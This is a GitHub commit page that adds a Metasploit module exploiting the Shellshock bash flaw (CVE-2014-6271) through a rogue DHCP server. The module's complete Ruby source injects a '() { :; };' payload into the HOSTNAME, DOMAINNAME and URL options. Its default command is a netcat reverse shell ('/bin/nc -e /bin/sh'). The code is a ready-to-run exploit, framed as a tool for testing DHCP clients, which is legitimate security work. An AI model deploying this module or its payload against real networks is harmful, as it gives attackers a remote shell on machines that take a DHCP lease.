Skip to content

Commit b878ad2

Browse files
author
HD Moore
committed
Add a module to exploit bash via DHCP, lands rapid7#3891
This module is just a starting point for folks to test their DHCP client implementations and we plan to significantly overhaul this once we get a bit of breathing room.
2 parents 52ffddd + 9c11d80 commit b878ad2

File tree

1 file changed

+89
-0
lines changed

1 file changed

+89
-0
lines changed
Lines changed: 89 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,89 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/proto/dhcp'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::DHCPServer
12+
13+
def initialize
14+
super(
15+
'Name' => 'DHCP Client Bash Environment Variable Code Injection',
16+
'Description' => %q{
17+
This module exploits a code injection in specially crafted environment
18+
variables in Bash, specifically targeting dhclient network configuration
19+
scripts through the HOSTNAME, DOMAINNAME, and URL DHCP options.
20+
},
21+
'Author' =>
22+
[
23+
'scriptjunkie', 'apconole[at]yahoo.com', # Original DHCP Server auxiliary module
24+
'Stephane Chazelas', # Vulnerability discovery
25+
'Ramon de C Valle' # This module
26+
],
27+
'License' => MSF_LICENSE,
28+
'Actions' =>
29+
[
30+
[ 'Service' ]
31+
],
32+
'PassiveActions' =>
33+
[
34+
'Service'
35+
],
36+
'DefaultAction' => 'Service',
37+
'References' => [
38+
['CVE', '2014-6271'],
39+
['CWE', '94'],
40+
['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'],
41+
['URL', 'http://seclists.org/oss-sec/2014/q3/649',],
42+
['URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/',]
43+
],
44+
'DisclosureDate' => 'Sep 24 2014'
45+
)
46+
47+
register_options(
48+
[
49+
OptString.new('SRVHOST', [ true, 'The IP of the DHCP server' ]),
50+
OptString.new('NETMASK', [ true, 'The netmask of the local subnet' ]),
51+
OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
52+
OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]),
53+
OptString.new('ROUTER', [ false, 'The router IP address' ]),
54+
OptString.new('BROADCAST', [ false, 'The broadcast address to send to' ]),
55+
OptString.new('DNSSERVER', [ false, 'The DNS server IP address' ]),
56+
# OptString.new('HOSTNAME', [ false, 'The optional hostname to assign' ]),
57+
OptString.new('HOSTSTART', [ false, 'The optional host integer counter' ]),
58+
OptString.new('FILENAME', [ false, 'The optional filename of a tftp boot server' ]),
59+
OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444'])
60+
], self.class)
61+
end
62+
63+
def run
64+
value = "() { :; }; PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin #{datastore['CMD']}"
65+
66+
# This loop is required because the current DHCP Server exits after the
67+
# first interaction.
68+
loop do
69+
begin
70+
start_service({
71+
'HOSTNAME' => value,
72+
'DOMAINNAME' => value,
73+
'URL' => value
74+
}.merge(datastore))
75+
76+
while dhcp.thread.alive?
77+
select(nil, nil, nil, 2)
78+
end
79+
80+
rescue Interrupt
81+
break
82+
83+
ensure
84+
stop_service
85+
end
86+
end
87+
end
88+
89+
end

0 commit comments

Comments
 (0)